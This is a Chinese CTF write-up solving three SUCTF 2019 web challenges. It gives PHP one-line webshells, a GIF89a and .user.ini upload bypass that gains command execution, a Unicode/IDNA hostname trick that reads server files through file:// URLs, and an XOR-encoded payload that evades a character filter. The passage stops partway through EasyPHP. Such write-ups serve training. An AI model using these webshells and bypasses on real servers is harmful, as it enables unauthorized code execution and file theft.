SUCTF 2019 CheckIn 题目是一个文件上传的题目,
先随便上传一个马上去,发现显示:
猜测使用了 exif_imagetype()
函数,这样我们可以加文件头如 GIF89a
即可绕过。
然后再上传个图片马,一句话为 <?php @eval($_POST[hz]);?>
,发现提示:
也就是过滤了 <?
,我们换script
马<script language='php'>eval($_REQUEST[hz]);</script>
,上传成功了。
并且告诉我们上传的路径,我们访问图片发现又是一个上传界面,我们注意到上传文件夹中包含 index.php
,且这里是 nginx
,可以上传 .user.ini
,来设置解析,什么是.user.ini
?见参考资料 ,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
所以我们写一个 .user.ini
1 2 GIF89aauto_prepend_file =shell.gif
写了文件头,上传成功。接下来我们写一个名为 shell.gif
的图片马,上传上去,我们同样用 script
马,上传后,直接访问 uploads/xxxxxxxxxxxxxxx/index.php?system('cat /flag');
即可得到 flag。
Pythonginx 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app.route('/getUrl' , methods=['GET' , 'POST' ] ) def getUrl (): url = request.args.get("url" ) host = parse.urlparse(url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list (urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333"
本地大概理了一下代码功能 url=http://suctf.ccc/?id=1#123
通过源码分析可以知道大概的思路是利用 file://
去读文件,同时hostname不能是suctf.cc
,然后注意到newhost.append(h.encode('idna').decode('utf-8'))
,在github上有一篇东西。
https://github.com/python-hyper/hyperlink/issues/19
上面的字符可以代表 c/o
,于是我们可以利用这个构造 suctf.cc/opt/../../
读取文件,当然还有其它编码也可以,其实预期是利用 unicode2ascii 的域名转换导致的解析问题,在 blackhat HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization 中有提到。
也就是找到一个可以通过 punycode 转为 c
的字符,引用de1ta
的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from urllib.parse import urlparse,urlunsplit,urlsplitfrom urllib import parsedef get_unicode (): for x in range (65536 ): uni=chr (x) url="http://suctf.c{}" .format (uni) try : if getUrl(url): print ("str: " +uni+' unicode: \\u' +str (hex (x))[2 :]) except : pass def getUrl (url ): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc' : return False parts = list (urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return False newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return True else : return False if __name__=="__main__" : get_unicode()
可得如下:
1 2 3 4 5 6 7 8 str : ℂ unicode: \u2102str : ℭ unicode: \u212dstr : Ⅽ unicode: \u216dstr : ⅽ unicode: \u217dstr : Ⓒ unicode: \u24b8str : ⓒ unicode: \u24d2str : C unicode: \uff23str : c unicode: \uff43
任一可以通过检测。
然后我们通过审计网页的源代码,可以发现提示了nginx
,我们去读一下nginx
的配置文件:
file://suctf.cC/../../../../usr/local/nginx/conf/nginx.conf
可以找到flag的路径,接下来直接读取flag:
file://suctf.cC/../../../../usr/fffffflag
EasyPHP 这题是代码审计,一看就是各种绕。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function get_the_flag ( ) { $userdir = "upload/tmp_" .md5 ($_SERVER ['REMOTE_ADDR' ]); if (!file_exists ($userdir )){ mkdir ($userdir ); } if (!empty ($_FILES ["file" ])){ $tmp_name = $_FILES ["file" ]["tmp_name" ]; $name = $_FILES ["file" ]["name" ]; $extension = substr ($name , strrpos ($name ,"." )+1 ); if (preg_match ("/ph/i" ,$extension )) die ("^_^" ); if (mb_strpos (file_get_contents ($tmp_name ), '<?' )!==False) die ("^_^" ); if (!exif_imagetype ($tmp_name )) die ("^_^" ); $path = $userdir ."/" .$name ; @move_uploaded_file ($tmp_name , $path ); print_r ($path ); } }$hhh = @$_GET ['_' ];if (!$hhh ){ highlight_file (__FILE__ ); }if (strlen ($hhh )>18 ){ die ('One inch long, one inch strong!' ); }if ( preg_match ('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh ) ) die ('Try something else!' );$character_type = count_chars ($hhh , 3 );if (strlen ($character_type )>12 ) die ("Almost there!" );eval ($hhh );?>
首先大概要绕过的点:
传入字符长度可以构造 _GET[x]
来绕过
preg_match
可以通过异或来绕过
count_chars()>12
的重复字符串绕过
$hhh
的长度不能超过18,其次,看一下这个正则匹配
1 preg_match ('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh )
因此我们可以写脚本来 Fuzz 一下可用的有哪些:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsdef main (): url = 'http://ip/?_=' for i in range (256 ): r = requests.get(url=url+chr (i)) if len (r.text) != 19 : if i > 127 : print (hex (i), end=' ' ) else : print (chr (i), end=' ' ) if __name__ == '__main__' : main()
然后我们可以得到一下可用的字符。
接下来考虑变量,因为还有 $
,然后最短的变量就是 $_GET
,在浏览器中这些字符都是敏感字符,如果不加单引号双引号,浏览器就把他们用起来了(浏览器进行解析,而不是php语言)所以我们要使用不可视的字符来进行异或脚本的基础字典。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 def XOR (): _=[] G=[] E=[] T=[] print (a) for i in a[27 :]: for j in a[27 :]: tem = (i ^ j) if (chr (tem) == "_" ): _.append((str (hex (i)[2 :])) + "^" + str (hex (j)[2 :])) if (chr (tem) == "G" ): G.append((str (hex (i)[2 :])) + "^" + str (hex (j)[2 :])) if (chr (tem) == "E" ): E.append((str (hex (i)[2 :])) + "^" + str (hex (j)[2 :])) if (chr (tem) == "T" ): T.append((str (hex (i)[2 :])) + "^" + str (hex (j)[2 :])) print (_) print (G) print (E) print (T)
结果很多,我就挑取比较好做的,取 %85%85%85%85^%da%c2%c0%d1
,然后还要考虑
1 2 $character_type = count_chars ($hhh , 3 );if (strlen ($character_type )>12 ) die ("Almost there!" );
一波操作之后构造如下:
1 2 3 ?_=${%85%85%85%85^%da%c2%c0%d1}{%85}();&%85=get_the_flag ?_=$_GET{%85}();&%85=get_the_flag 构造调用get_the_flag(),其中%85为不可见字符,为了绕过conut_chars()。这个函数是统计一段字符串中重复出现的字符串,题目条件是不能超过12 。
尝试发现已经绕过了,接下来就是第二层绕过了。